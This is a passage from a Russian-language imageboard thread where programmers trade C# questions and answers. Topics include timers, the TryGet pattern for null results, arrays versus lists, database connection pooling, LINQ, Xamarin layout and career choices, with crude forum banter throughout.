Тема такая: долгое время разрабатываю на юнити в стартапе, но вся тема прогорает и нужно искать куда свинтить. Вышло так, что из-за работы с движком, получилось более менее подучить язык, пусть и с учетом специфики юнити. За это время шарп мне очень зашел - годная штука, но хочется делать серьезный софт, а не игры. Отсюда вопрос: на си шарп вообще ведется разработка ПО? или он только для бека/веба? Видел много вакансии по разработке ПО на крестах, но если есть вариант не переучиваться на другой язык, а углубляться в этот, то лучше рассмотреть ее. Спасибо
597 1747771
>>747674
Зайди на сайт с вакансиями да проверь. Десктопа очень мало, да и тот что есть всё равно зачастую работает с вебом, если не с вебом, то с базой данных точно.
598 1747782
>>747674
Бек/Веб тоже ПО, лол, кек.
На десктопах ведется, но не нужна, т.к. десктоп дед.
ХЗ что тебе не нравится в беке? Особенно сейчас, когда мода на микросервисы. Охуенно же.
599 1747785
>>724425 (OP)
Пацаны. Есть приложение на windows Forms, написанное на C#.
Нужно сделать так, чтобы это приложение через определенный интервал времени стучалось в определенные места. Как это можно реализовать. Стучаться должно конечно в отдельном потоке.
Я знаю решения только в таймером. Но может быть есть СОВРЕМЕННЫЕ решения данной проблемы?
600 1747788
>>747785
Ну, тривиальное решение с асинхронщиной:

while(!stopToken.IsCancellationRequested)
{
await ТвояТаскаПоСтучанию();
//На случай если таска затянулась или еще что-то можно сделать вычисление задержки чтобы, скажем, у тебя каждую 10ю минуту таска по стучанию запускалась.
var delay = ТвойМетодВычисленияИнтервалаВремениДляСледующегоПостукивания();
await Task.Delay(delay);
}
601 1747792
>>747788
Этот высер и есть современный подход к таймерам?
Ты когда нибудь работал с gui приложениями?
602 1747798
>>747792
Нет конечно.
603 1747874
>>747782
Да жс этот ебаный еще учить, пиздец
604 1747946
>>747785
Лучше таймера ничего не придумали, главное всегда делать его с period равным Timeout.Infinite (вызывая в конце выполнения метод Change) и использовать System.Threading.Timer, а не другие 3.
605 1747951
>>747874
Зачем тебе js в бэкэнде?
timers.png87 Кб, 1812x532
606 1748013
>>747946

>использовать System.Threading.Timer, а не другие 3


Использовать нужно наиболее подходящий.
>>747951

>Зачем тебе js в бэкэнде?


Наивный чукотский юноша.
607 1748061
>>748013

>Использовать нужно наиболее подходящий.


Я всё же буду придерживаться мнения авторов как Рихтер и разработчиков ядра .NET, а не супер-модераторов с непонятных пидорахофорумов.
608 1748471
Анон, а есть какая-нибудь статья про приведение типов, апкаст, даункаст и вот это вот всё. Можно в стиле "Для самых маленьких и тупых" и чтобы примеров побольше.
609 1748517
>>748471
Может тебе еще труд об объявлении переменных в четырех томах?
610 1748600
>>748517
Нет, 4 тома многовато, 2-х будет достаточно. Собственно, уже нашёл, но спасибо за ответ.
611 1748611
>>748471
у св. Рихтера в Великом Писании в 4 главе все разложенно
612 1748883
>>748611
Аминь.
613 1749155
Сделал змейку. Вот. Это преальфа-версия, потому возможны некоторые баги.
Но я хочу поделиться с тредом текущим состоянием. Да.
https://www.dropbox.com/s/8u7n6wwc376lr9j/Snake.7z?dl=0
Буду благодарен за багрепорты и фидбек.
614 1749286
Аноны, знаю очень глупенький вопрос но как лучше всего обработать NULLreference exeption
например в пикриле, если в базе нет запрашиваемого пользователя, что мы не можем передать нул, как дальше быть?
615 1749310
>>749155
Меню не сразу всплывает, ждёт нажатия клавиши.
Ты бы хоть Game Over нарисовал, а то вылетает с эксепшеном.
Иногда есть баг, когда резко нажимаешь в 2 направления, оно зависает и мигает.
616 1749312
>>749310
>>749155
Границы поля нарисуй и символы подбери получше.
617 1749337
>>749286
return user ?? User.Empty;
618 1749339
>>749337
не понел, можешь более развернуто объяснить?
619 1749340
>>749286
Почему не можешь? Если бы юзал First(), то да - кинулся бы эксепшн
620 1749344
>>749340
да только метод который вызвал ожидал значение а получил нулл, вот и получается ексепшин
621 1749349
>>749344
Что ты ожидаешь от программы?
622 1749355
аноны, перехожу с юнити (2 года работы) в чистый шарп. Что нужно выучить, чтобы найти работу?
623 1749356
>>749349
ну пока я накостылял что-то такое
1 пикрил страница где юзается метод
2 пикрил класс который обращается к дб обработчику
3 пикрил собственно обращение к дб
624 1749358
>>749356
бля проебался сек
625 1749359
>>749349
ну пока я накостылял что-то такое
1 пикрил страница где юзается метод
2 пикрил класс который обращается к дб обработчику
3 пикрил собственно обращение к дб

вот
626 1749361
>>749359
но я понимаю что это лютые костиля, просто не понимаю как сделать правильно
627 1749367
>>749359
Зачем эти хелпер методы если в конечном итоге ты юзера, которого ты не нашел в базе обрабатываешь по особому сценарию?

Что ты хочешь сделать?
628 1749373
>>749367
ладно, расскажу с предысторией, раньше я делал иначе, но пришли парни прогерры с второго етажа и повозили меня мордой по столу за мой код, они сказали что методы должны групироваться в хелпере что бы их потом можно было легко использовать и дебажить, и дали леща за "если я использую твой метод я должен получить значения а не ексепшин" а я нихрена не понимаю чего они хотят, типа если пользователь не найден, чего я им должен возвращать что бы у них не было ексепшинов?
D15nDdIXQAARONJ[1].jpg71 Кб, 631x577
629 1749388
630 1749391
>>749373
Ты либо не понял парней со второго этажа, либо они идиоты скорее первое

Любой хороший код должен соблюдать принцип наименьшего удивления.

Метод, который называется GetSomethingById(Guid id) должен именно брать значение этого Something из источника информации. Если этой хуйни в источнике нет - пусть вернет default(Something), либо (предпочтительный вариант) кинет исключение.

Если тебе нужно попытаться найти Something в источнике информации - напиши метод bool TryGetSomethingById(Guid id, out Something result). Этод метод уже не должен ничего бросать.

Если тебе нужно взять что-то из источника информации, а если этой хуйни там нет - вернуть значение по умолчанию, нужно написать метод Something GetSomethingByIdOrDefault(Guid id, Something default)

Если тебе нужо взять что-то из источника информации по айди, а если оно там не нашлось то добавить - пиши метод GetOrAddSomethingById(...)
631 1749403
>>749391
логично!
>>749388
это в общем-то слабо отличается от тех костылей которые я написал, более того если возвращать лист то исключения и так не будет так как лист это не нулл, а значит его можно и без дефолт пользователя возвращать, просто пустым.
632 1749406
>>749391
и почему исключение предпочтительно, оно же валит сервер, его потом качем надо ловить...
633 1749407
>>749403
Какой лист возвращать, дебил? Возвращается класс User, List используется в качестве примера для замены твоей бд.
634 1749411
>>749407
извини, не разобрался, да действительно надо попробовать так
635 1749419
>>749406
Сервер никто не валит. Даже если ты его не обработаешь, сервер просто вернет тебе 500 и продолжит работать.

Исключение предпочтительно потому это позволит тебе сразу же заметить, что ты делаешь какую-то херню.

По поводу задачи на повестке: в первую очередь тебе нужно в голове уложить для себя, что твоя программа должна делать, в случаях а) когда пользователь существует б) когда пользователя нет

Когда это уяснишь, с архитектурой проще станет
636 1749429
>>749344

> метод который вызвал ожидал значение


Если метод обязан запросить существующего юзера, то кидай эксепшон. Если можно запрашивать любой айди, то возвращай налл. На мой взгляд в таких случаях неплохой вариант это запилить метод bool TryGetUserById(int id, out User user). Вижу на скринах ниже ты что-то похожее пытаешься сделать, только как-то через жопу.
637 1749432
>>749429
а почему через жопу? как сделать лучше?
638 1749436
>>749429
то-есть я понимаю что должен быть в таком случае TryGetUserById(int id, out User user) потому что источник айди это адрестная строка, и пользователь туда что угодно может вписать, и надо обработать так что бы ничего не упало что бы пользователь не вбил
639 1749471
>>749310
>>749312
Спасибо за фидбек! Это будет поправлено в ближайшей версии.
640 1749474
>>749286
Lold.
Зачем там Where, а потом FirstOrDefault? Почему не просто FirstOrDefault?
641 1749477
>>749474
спасибо анон. поправил!
642 1749485
>>749432

>а почему через жопу?


Есть общепринятый стиль написания таких методов (int.TryParse, dictionary.TryGetValue и т.д.), где индикатор успеха является возвращаемым значением метода, а сам результат через out параметр метода.Т.е. в твоем случае как-то так:
bool TryGetUserById(int id, out User user)
{
.user = db.Users.Find(id);
.return user != null;
}
643 1749489
Аноны есть кто хорошо шарит в верстке в xaml в xamarine. Попался какой-то ебливый макет, хз как сверстать. Заранее спасибо
644 1749493
>>749489
ОТКРЫВАЕШЬ
@
ВЕРСТАЕШЬ

Надо за тебя сделать или у тебя затык где-то, чего ты хочешь-то?
645 1749494
>>749485
то-есть так? а есть какая-то очень большая разница с тем способом который был сначала?
Кусочек.jpg125 Кб, 1018x683
646 1749498
>>749489
Вот как должно выглядит, я вообще хз как эту хрень сверстать
Кусочек2.jpg156 Кб, 1018x683
647 1749501
>>749493
Затык с правой частью. Я хз как StackLayout c цифрами внутри выровнять в одну линию с большим числом из левого куска
648 1749531
>>749494
Ну хз, как-то переусложняешь, зачем юзер с индексом -1? И убери
if(someBoll == true) этож пиздец. Сыграй вот в это https://cleancodegame.github.io/ полезная штука.
649 1749550
>>749494

>GetUserById


>возвращает бул


Нет, не так.
650 1749620
Стоит ли вкатываться сейчас в шарп?
652 1749626
>>749622
Так стаком проще сделать значение - разделитель - значение. Просто берёшь и в стак пихаешь и ставишь ориентацию.
А в гриде надо инициализировать грид, сколько строк, к каждому лейблу ставить его ряд.
Я грид использую в основном для верхних уровней, по типу основы макета.
653 1749661
>>749550
ты видишь out User user? видишь что метод возвращает user? bool всего лишь статус выполнения метода
654 1749662
>>749531
ну а как дать знать что пользователь не найден без ексепшина?
655 1749664
>>749661
Почему ты тогда этот метод не назвал LaunchUserToTheMoon?
656 1749665
>>749664
что блядь? ты что шизик?
657 1749666
>>749665
Вот у меня такая же реакиця на Get метод, который возвращает bool и имеет out параметр
658 1749667
>>749666
как по твоему должен называться метод который возвращает пользователя? шизик?
659 1749669
>>749667
Метод который возвращает пользователя должен наываться GetUserById

Метод который пытается вернуть пользователя должен называться TryGetUserById
660 1749671
>>749669
ну тут да я еще раньше написал что согласен и поменяю, а причем тут булл
image.png1,4 Мб, 1453x1000
661 1749674
>>749669
ладно в любом случае ты абсолютно прав
662 1749710
>>749662
Так ты сделай метод, который тянет данные из базы вида bool TryGet... Абстракции это хорошо, но по-моему у тебя там уже лишние слои накручены, хотя я, конечно, всего кода не вижу.
663 1749714
>>749710
да по ответам к таком варианте я и пришел, попробую моим семпаям презентовать завтра такой подход, надеюсь им понравиться, спасибо анону!
664 1749845
Челы, а почему в шарпе нет синтаксиса для добавление к массиву подобного +=, как это работает с обычными переменными? Или может что-то такое есть, а я просто не знаю? Типа взял число, да добавил в самый конец массива из чисел такой строчкой:
массивЧисел += число;
С листом же работает такой синтаксис:
лист.Add(что-то);
А с массивом обязательно нужно возиться с индексами, с счетчиком. Указывать по какому адресу примостить свой элемент.
Хотя я наверно понимаю, что массивы это слишком низкоуровневая хуйня, чтобы так фривольно с ними себя вести. Но все равно, заебись была бы фишка.
665 1749923
>>749845
чем тебе лист не угодил?
666 1749959
Подсказывайте, что коротенько читануть чтобы быть в теме.

Ситуация, есть физический сервер с SQL базой. Раньше легаси софт компании работал напрямую с этой базой, чем постоянно клал всю локальную сеть нагрузками. Я сейчас все это привожу к норме (по моему мнению и опыту)

И у меня появилась идея - делать запрос к серверу только один раз при запуске, сохранив копию данных в временной базе данных на компьютере пользователя и дальше работать с этой копией без сети. В принципе результат не плох, так как обычно работа там только чтение данных. Изменение - очень редкая операция.

Но вот как быть когда все таки один пользователь изменил данные, они прописались на сервер - но как теперь сделать чтобы другие пользователи их получили автоматом? Какие есть методы такой синхронизации?
(пока сделал ламерски - сделал кнопочку "обновить")
667 1749964
>>749959
Правильный способ: клиент/сервер с паб/сабом. На стороне SQL Server подымаем сервер на .NET или .NET Core и прикручиваем какой-нибудь SignalR.

Если не хочется заморачиваться, то можно посмотреть в сторону Service Broker (хотя я не очень уверен, что он подойдет для твоего кейса, но лучше глянь сам), встроенного в SQL Server.
668 1749980
>>749845
Потому что List.Add делает тоже самое, что делал бы и ты, если добавлял к массиву размером 10, 11 элемент.
669 1750510
>>749845
Потому что массив это такая вот структура данных, которая нихуя не знает ничего, кроме того насколько она большая, где в памяти находится и какой величины объект в себя помещает. Все.
Массив как-бы нужен не чтобы в него удобно добавлять было, а чтобы выделить кусок памяти фиксированного размера иметь константное время доступа к элементу по индексу.
Если тебе надо постоянно добавлять и ты не знаешь конечный размер, даже в теории - ты просто берешь и юзаешь лист/стек/очередь/что-то еще что больше подходит в твоем случае.
670 1750778
Подскажите правильный подход по работа с БД запросами от клиента. Обращение будет по Id или по Email? Очевидно, что должно быть по Id, но в кукисах я не храню его - только access key и email. Нужно ли еще в кукисы добавлять Id или обращения могут быть по Id? Каким образом делать мультизапросы, перегрузкой методов? Типо только с Id, с id и указанием заказа, с id, указанием заказа и указанием цены и т.д. - как это реализуется? Кучей перегруженных методов с вызовами через методы?
Спасибо
whitaker.png26 Кб, 1083x150
671 1750892
Подскажите, как правильно написать LINQ-запрос для задания с пикчи. Player's Guide 3ed
672 1751095
>>750892
objs.GroupBy(x=>x.PlayerId).OrderBy(x=>x.CurrentHp/x.MaxHp)
наоборот только
673 1751470
Аноны, нужна помощь.

Суть: создать метод, который выделяет память объекту (переданному в метод по ссылке) исходя из данных, переданных в конструктор (то есть конструктор бросает исключение, если данные невалид).
Тип объектов, допустим, классы Handler1 и Handler2, унаследованные от интерфейса IHandler.

Реализация:

interface IHandler { ... }
// в классах ниже реализованы конструкторы с параметром string
class Handler1 : IHandler { ... }
class Handler2 : IHandler { ... }

void CreateHandler<T>(ref T handler) where T: IHandler, new()
{
while (handler == null)
{
try
{
// ошибка: нельзя вызвать конструктор T с аргументами
handler = new T("somethings");
}
catch (Exception e)
{
Console.WriteLine($"Message: {e.Message}");
}
}
}

Использование:

Handler1 handler1 = null;
Handler2 handler2 = null;
CreateHandler<Handler1>(ref handler1);
CreateHandler<Handler2>(ref handler2);

Есть идеи, как обойти ошибку или упростить мою идею?
Сразу прошу прощения за возможно неправильное использование обобщений, потому что перешёл с крестов, на которых, кстати, мой пример легко заработал при использовании шаблонов
673 1751470
Аноны, нужна помощь.

Суть: создать метод, который выделяет память объекту (переданному в метод по ссылке) исходя из данных, переданных в конструктор (то есть конструктор бросает исключение, если данные невалид).
Тип объектов, допустим, классы Handler1 и Handler2, унаследованные от интерфейса IHandler.

Реализация:

interface IHandler { ... }
// в классах ниже реализованы конструкторы с параметром string
class Handler1 : IHandler { ... }
class Handler2 : IHandler { ... }

void CreateHandler<T>(ref T handler) where T: IHandler, new()
{
while (handler == null)
{
try
{
// ошибка: нельзя вызвать конструктор T с аргументами
handler = new T("somethings");
}
catch (Exception e)
{
Console.WriteLine($"Message: {e.Message}");
}
}
}

Использование:

Handler1 handler1 = null;
Handler2 handler2 = null;
CreateHandler<Handler1>(ref handler1);
CreateHandler<Handler2>(ref handler2);

Есть идеи, как обойти ошибку или упростить мою идею?
Сразу прошу прощения за возможно неправильное использование обобщений, потому что перешёл с крестов, на которых, кстати, мой пример легко заработал при использовании шаблонов
674 1751505
>>750778
бамп
675 1751539
>>750778
Что ты вообще сделать хочешь?
>>751470
1) Лучше так не делать и написать обычную фабрику
2) Кинь код, который должен вызывать этот метод. Вангую с ним всё плохо
676 1751571
>>751539

>Что ты вообще сделать хочешь?


У меня есть API-ха (типо CRM) - Делаю для нее функционал. Исходя из всевозможных хотелок потребителя я знаю, что должны быть всевозможные поиски, фильтрации, сортировки - поэтому хочу написать хороший интерфейс и его реализовать. Мне нужно понять - как такой расширяющийся функионал уместить в интерфейс. У меня сейчас 2 вопроса:
1. Что является ключом доступа к связанным сущностям - UserId или UserEmail. По логике должен быть UserId, но я его не храню в кукисах, только UserEmail. Стоит ли его хранить? Или может быть стоить все запросы делать через Email?
2. По поводу всевозможных фильтрафий, сортировок и т.д. - делаю метод, куда передаю одну сущность на вход и такую же на выход. К примеру метод по поиску юзера:
public User GetUser(User user) - этот метод я буду оверлоадить под каждый другой метод. Правильный ли это подход?
677 1751576
>>751539
1) Если я правильно понял, ты о фабричном методе?
2) Вызываю из Main.
678 1751589
>>751571
1) В авторизационных хедерах ожидай всё, что нужно для авторизации. Например, jwt токен. Из токена можно вытащить всё клеймы, например userId. Доверять кукам UserEmail и UserID - это дыра в безопасности размером с Sagittarius A*
2) Сделай DTO, в котором будут вшиты все возможности по поиску и накалябай метод SearchUser(UserSearchOptions searchOptions).
679 1751594
>>751576
Именно так. Если нужен более конкретный совет по архитектуре, скидывай весь код.
image.png63 Кб, 1266x425
680 1751619
привет аноны, пытаюсь добавить в таблицу для связанные таблицы

связаны таблицы полями (таблица 1 поле :message) > (таблица 2 поле : messageInfo)

собственно проблема на скрине
681 1751621
>>751619
привет аноны, пытаюсь добавить в таблицу ДВЕ связанные таблицы
682 1751632
>>751619
Ты сделал отношение один ко многим, MessageInfo ожидает от тебя коллекцию
683 1751635
>>751589

> токена можно вытащить всё клеймы, например userId


это хорошая идея

>Сделай DTO


уже сделал, просто почему то messed up with email/id fields. Спасибо
684 1751638
>>751632
Понял, решил, Спасибо Большое!
685 1751714
Пацантре, короче нужна помощь.
Есть windows Forms приложение. В котором есть вкладки.
Нужно по открытию вкладки создать объект, который будет жить всё время, пока вкладка не закроется.
Как это сделать? Понятно что по ивенту открытия вкладки нужно создать объект, но после выполнения обработчика эвента этот объект уничтожиться. Понятно, что можно создать глобальный статический объект и его использовать, но может быть есть какие-то более удачные подходы. Вообще как решается эта проблема?
686 1751716
Аноны кто шарит в анимации на xamarine? есть view с label. Label меняется, как сделать переход из старого состояния в новое через прозрачность?
687 1751717
>>751714
Тебе бы на wpf перейти, там точное есть решение данной проблемы.
Я лишь знаю примерное решение на wpf. В либе Dragablz есть ивенты по созданию нового окна, да и в самой либе можно табы вытаскивать в новое окно.
https://github.com/ButchersBoy/Dragablz
Может тут найдешь решение проблемы
image.png226 Кб, 1920x1080
688 1751841
Для решения задачи нужно распарсить файл. Я решил действовать через создание абстрактного синтаксического дерева и накидал прототип на Сишке (пик). Там все понятно - структуры, указатели, деревья. Так вот, как это реализовать правильно на C#?
689 1751878
>>751841
Ты бы лучше формат фала описал. Я в шарпотрез захожу не чтоб с памятью ебаться.
image.png118 Кб, 1920x1030
690 1751890
>>751878
Да самый обычный текстовик, фактически.
691 1751910
>>751890
>>751878
Хотя я прикинул, и мне кажется, что это LUA-шная таблица.
692 1751912
>>751890
И что получить надо? Набор строковых ключ-значение? Или еще надо определять bool, int и тд?
693 1751916
>>751910
Ну если это lua (я хз, никогда не работал с ним) то должно быть уже что-то готовое для него.
694 1751919
>>751912
Первое, определять не надо, и так известно. Но там вложенность может быть поглубже, я все еще склоняюсь к созданию дерева, а с ним уже проще.
>>751916
Не, не луа, уже прогнал через интерпретатор.
696 1752080
>>752020
Я должен был догадаться, что все уже сделано до меня. Спасибо.
rage.jpg157 Кб, 340x444
697 1752158
как же заебало это мразософтовское иде, как не запустишь - телефон требует.
698 1752220
>>752158
Ты о чем, поехавший?
699 1752238
>>752220
о калмьюнити версии студии, разумеется

>создаешь акк мразософта


>кодишь нормально пару недель


>ой ты чет падазрительный, мы тебя заблокировали, нук телефончик на стол


ИДИТЕ НАХЕР
700 1752245
>>752238
Лул.
701 1752303
>>752158
Нефиг было телефон указывать при регистрации.
702 1752304
>>752303
я его и не указывал, эти бляди просто заблокировали аккаунт под надуманным предлогом, дескать, подозрительные действия с вашего аккаунта - с хуев там быть чему-то подозрительному, если я эту хуйню только для студии использую? мразотные выблядки просто хотели телефончик получить.
1492158147647.PNG14 Кб, 698x345
703 1752395
Котаны проясните за replace. Нужно чтобы пойманное регуляркой выражение менялось не на одно и то же слово, а на элемент массива, (типо чтобы первое найденное слово менялось на "один", второе найденное менялось на "два" и т.д), но эта срань ни в какую работать не хочет. Оно буквально меняет весь текст на одно слово и посылает нахуй мои массивы
image.png31 Кб, 679x511
704 1752444
>>752395
Как-то так. Мне лично не нравится, но оно делает то, что ты хочешь
1471900241737.jpg434 Кб, 600x827
705 1752481
>>752444
Спасибо чувак, ты охуенен
image.png29 Кб, 902x355
706 1752529
Анон, а есть какая-нибудь лайтовая обертка для работы с бд?

Я просто еще нуб, только учусь, но учится приходится на боевом задании, в реальном проекте

Просто надоело писать один и тот же код как на пикче, сейчас у меня там 90% кода из вот этого (потому что надо заполнять всякие комбобоксы и надписи строками из базы)

Это реально раздражает

А ведь это я сейчас работают с тестовой базой в Access. Мне потом еще и базу менять на другую (SQL server) - то есть придется менять эти OleDb на другое.

А есть самая простая обертка для примитивных задач по выборке (без хранимых процедур, транзаций и прочего - мне простых SELECT хватит.. но вообще есть еще и запросы на очистку таблиц и редактирование)

Только именно простое, желательно чей-то велосипед с гитхаба (а то конечно наверняка есть монстры под все случаи жизни, с 1к страничными мануалами настроек)

Сам я пока не могу это выделить в класс - еще мало опыта, получается говно
707 1752537
>>752529
Dapper?
708 1752540
>>752537

>Dapper


так я же пишу что надо простое... хотя конечно гляну. Но просто нет времени вникать в тяжелые либы (да и задачи там очень простые, скорее монотонные, не требующие крутых либ)
709 1752560
>>752540
А что сложно описать в виде строки с sql кодом и получить обратно лист с нужными данными? Я ещё не встречал ещё более простого способа
710 1752565
>>752540
Посмотри еще на linq2sql - где-то между даппером и еф.
711 1752575
Где можно попрактиковать LINQ методы? Может какой ни будь аналог Sql Zoo?
712 1752577
Привет, подскажите каким образом можно сохранять, записывать или наоборот брать из бд данные отличные от базовых типов? Например мне нужно что-бы пользователь загружал картинку. Где ее хранить и каким способом? Ну или что гуглить?
713 1752629
>>752577

>Ну или что гуглить?


Ну пиздец, попробуй так и написать в гугель - store image in db - охуеешь какой гугл умный и распознал твой запрос. А вообще большинство бд умеют хранить байтовые массивы. Но лучше, если нет объективных причин хранить именно в бд, хранить в бд инфу о файле, а сам файл отдельно от бд.
714 1752651
>>752575
Берешь любой цикл for/foreach и переделываешь его в LINQPad
715 1752724
>>752575
Бери задания по sql, по типу: количество пользователей купивших > 1000, сколько товара на складе. Только не через sql, а linq. Самое прямое назначение
716 1752736
>>752575
Сделай подобное сам, оглядываясь на примеры sql. И практика и хороший пет проект
717 1752830
>>752724
>>752736
я уже так и понял, вопрос номер два - у кого есть бамп какой ни будь RANDOM_DB, чтобы запарсить и дрочить ее? Или же прямо на сервер посылать запросы
719 1752903
>>752860
спасибо
720 1753050
>>738484
да, CSharpDbContextGenerator является частью ef tools, только его нельзя поставить на vs community,
сам ef tools установлен, но при этом не могу добавить файл шаблона в проект, такой опции просто не появляется
image.png39 Кб, 946x412
721 1753443
Тут вопросы
- во многих уроках я вижу что connect открывают во время запроса и потом сразу закрывают. Почему?
Почему OleDbConnection нельзя создать при запуске приложения, а закрыть при его закрытии?

Просто что получилось - вот у меня запрос на пикче. Вроде примитивный. Заполнить ComboBox (WPF) списком улиц.
Делаю такой запрос на выборку в базе - моментально получаю список. Делаю это же самое в форме access - тоже моментально.

Делаю это на шарпе - и список первый раз открывается с задержкой в 3-4 секунды. Там всего-то 200 улиц. База данных и сама программа вообще на рамдиске.
(и на самом деле кажется количество не узкое место, попробовал выбрать 20 штук - таже беда с задержкой... вот и думаю, может из-за создания Connect?
Но у меня одна база данных, я не конекчу разные базы. Вроде читал что оно должно уметь делать одно общее соединение.

Почему так медленно раскрывается? что я делаю не так? как правильно?
722 1753453
>>753443
Потому что работа с коннекшенами не потокобезопасная. С учётом, что большинство нового кода пишется с использованием async/await твой единый глобальный коннекшен не взлетит.

Помимо этого коннекшены по умолчанию находятся в пуле (если ты сам это не выключил), и создание коннекшена в коде не приведет к физическому открытию подключения к базе. Т.е твой глобальный коннекшн опять не нужен.

В третьих, незакрытые коннекшены истощают этот самый пул. Кончится пул - ни один запрос больше не выполнится. Поэтому лучшей практикой считается открытие коннекшена ровно перед тем как ты его собрался использовать, а закрыть его - как только ты выполнил свой запрос.

Твой 4 секундный простой при открытии первого коннекшена связан с инициализацией пула. Выполни при старте Select 1, простоя не будет.
723 1753461
>>753453

>Твой 4 секундный простой при открытии первого коннекшена связан с инициализацией пула. Выполни при старте Select 1, простоя не будет.


не помогло. Сделал выполнение этого же запроса до того как создается окно. Все равно комбобокс при первом открытии открывается с задержкой
724 1753469
Ести мигранты в треде? Как вставить ручную SQL миграцию перед последней? Допусть можно пустую сгенерить через Add-Migration и потом вставить свой SQL код в Up и Down. А как ее впихнуть чтобы она перед последней автоматической выполнялась? Можно конечно файл переименовать чтобы таймстап изменить, но как-то криво.
725 1753647
>>753461
Включи профайлер и посмотри что занимает больше всего времени
726 1753705
>>753647
Ещё бы он был встроен в вижак…
мимо
727 1753720
>>753705
Ты не поверишь
15908787392140.jpg25 Кб, 470x470
728 1753758
>>753720
Заинтересовал, анон, надо посмотреть. Хотя я обычно только снапшоты памяти смотрю, когда жор начинается. Ну либо самописный класс, который стопватчем время замеряет
Сейчас в fody сделали атрибут Time, так что еще удобнее стало

Я с wpf ушел давно, заебали его тормоза. Возможно, у анона проблема в нем, потому что обычно открыть и сгрузить чуток данных из таблицы – дело миллисекунд
Вот даже меню в пустом приложении создаешь, наводишь мышку, а оно первый раз пропердывается, и только на второй раз открывается бодро. Та же хуйня в студии. Попробуйте курсором по меню пройтись после рестарта

А если бы решал проблему того пчела, то просто сгрузил бы асинхронно или в другом потоке улицы заранее например, после открытия окна, и держал бы в листе, чтобы уже точно исключить висяки со стороны бд

Еще хамл этот ебаный. Кому-то нравится, но после веба и флаттера смотрю на него как на говно. Бленд не пытался осиливать, может, в этом дело
Люблю просто красивые интерфейсы
изображение.png2 Кб, 152x186
729 1753823
Суп, котаны.
Хочу нарисовать в вижл студии на форме кучу чекбоксов и адресовать их, как массив.
Помню, десять лет назад в вижл бейсике у меня получалось просто назвать чекбоксы как checkbox[1] и т.д., но здесь и сейчас такой фокус не удаётся.
Как это делается?
730 1753829
>>753720
Прямо в экспресс штоле? Или всё же оно платное?
image.png11 Кб, 225x225
731 1753888
Пишу в мёртвый тред. Следующие вопросы.

1. Ваш язык где-то ещё жив кроме юнити? Чё по UWP, чё по Xamarin, чё по Web?

2. Возможно ли писать не в говностудии? Меня так бесит эта параша, хочу VSCode. Могу даже на винде, но не в студии.

3. Чё по работам?
732 1753906
>>753758
что нынче на .net десктопе помимо wpf?
>>753888

>Чё


dou.ua / hh.com

>не в говностудии?


>VSCode


ты не можешь essets открыть и посмотреть какие расширения у нее есть?
Ты какой даун, лучше даже не начинай, оставайся в петухоне/js-е
733 1753953
>>753888

>Возможно ли писать не в говностудии?


Есть Rider, сам не пользовался но отзовы положительные. Есть вс код, но шарп в нем мне не зашел, а вот обмазаться плагинами и писать js/css часть самое то.
734 1753961
>>753906

>ты не можешь essets открыть и посмотреть какие расширения у нее есть?



Я спрашиваю юзер экспириенс.

Есть много что. Есть плагин для написания игр на андроид на руби. Есть mvc фреймворк для веба для C++. Я спрашиваю про то как это вообще норм у людей заходит или калл. Какой юзер экспириенс?

> dou.ua / hh.com



Ну смотрел. Мне интересны клустори.

А чё по UWP, Xamarin?
735 1753976
>>753961

> UWP


What is dead may never die
736 1754001
>>753961

>юзер экспириенс


>Мне интересны клустори.


>Ты какой даун, лучше даже не начинай, оставайся в петухоне/js-е

737 1754018
Только начал изучать С# и нашел у них адский баг.
По кнопке вызывается вот такой хендлер:
private void OnLoadSettings(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog();
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
}
radioButton1.Select();
edit1.Text = "eeeeeeeeeeeee";
}
Он же в том же UI треде, правильно? Если кликнуть в диалоге выбрать файл а потом кликнуть Open, radioButton1 активизируется как и ожидается. А если на файл кликнуть два раза, то button.Select игнорируется. Причем edit1 обновляется нормально в обоих случаях. Что происходит?
738 1754022
>>754018
Хм, убрал 99% остального кода, оставил только кнопку и радиокнопку и в таком виде работает нормально. И как эту хрень искать? Кто-то другой переключает кнопку по евенту когда все вместе работает? Ставил брейкпойнты, ничего подозрительного.
739 1754027
>>754022
Может вот так?
base.Invoke((Action)delegate { btnGet.Enabled = true; });

Но в msdn примерах этого не делается и контрол изменяется прямо из хендлера.
740 1754065
>>752158
Юзай VS Code, там нет такого тотального зондированияв анусе
741 1754205
Пишу приложение на Xamarin. Есть метод, который из DateTime делает строку в нужном мне формате и который применяется в нескольких местах в программе. Куда логичнее запихнуть этот метод, в какой класс?
742 1754283
>>754205
Класс Util
743 1754385
Что за хуйня с VS? Пишу Console.Read(), а оно считывает не один символ, а просит строку и ждёт нажатия Enter
744 1754388
>>754385
А не, я бухой просто
745 1754431
Антоны, наверное вопрос всплывает по три раза на тред:

Знаю сносно питон, работаю на нем. Хочу вкотиться в шарп для души. Есть ли какие-нибудь книги/курсы не для абсолютных новичков в прогаммировании, которые быстро втянут меня в шарп, шоб как рыба в масле нахуй?

В инторнетах ваших курсы либо для полных дебилов а-ля вот тут int кароче кастится в double, либо "как сделать пулю пиу пиу в юнити"
746 1754460
Анон, у меня тупой вопрос относительно отменты тасков.
Смотрите, я хочу сделать запрос к api наскольких сайтов. Например я хочу подгрузить список новых релизов, тэги к аниме которое у меня в профиле есть, описание к ним и ссылки на постеры. Вот. Я делаю таск LoadData().
Вот. Но, допустим а процессе пользователь понял, что ему не хочется грузить новые релизы, но остальное хочется. Как я должен отменить конкретно таск с загрузкой релизов? Неужели надо делать 3 функции и для каждой делать свой CancellationTokenSource?
747 1754474
>>752529
Linq to SQL
749 1754498
аноны, вопрос такой
есть год опыта довольно специфичной разработки на c# и python. Сейчас решил сменить место работы. Мониторю рынок c# - там backend (логично). Но бля выглядит это так, будто ты всю жизнь на такой работе jsonчики туда сюда гоняешь. Понимаю, что каждая работа это по большей части рутина и все такое. Но блин, хочется чего-то более интелектуального , чем запросы в бд целый день писать. Вот скажи, анон, мб я, в силу своей некомпетентности в бекэнде ошибась насчет этой области? буду рад, если так. Тое не хуесостье плз
750 1754513
>>754498
На уровне джуна-мидла это действительно 95% гоняние жсончиков туда-сюда и запросы делать. Особенно если это чисто веб. Если с девайсами еще работа, то помимо JSONчиков еще байтики будешь парсить, хотя современные девайсы стали жирные и некоторые тоже жсончики могут нормально так слать. Вот. На уровне повыше уже будешь думать насчет архитектуры вцелом и JSONчики отойдут на второй план, надо будет думать о масштабируемости, безопасности и этом всем. Да. Вот. Да.
751 1754516
>>754513
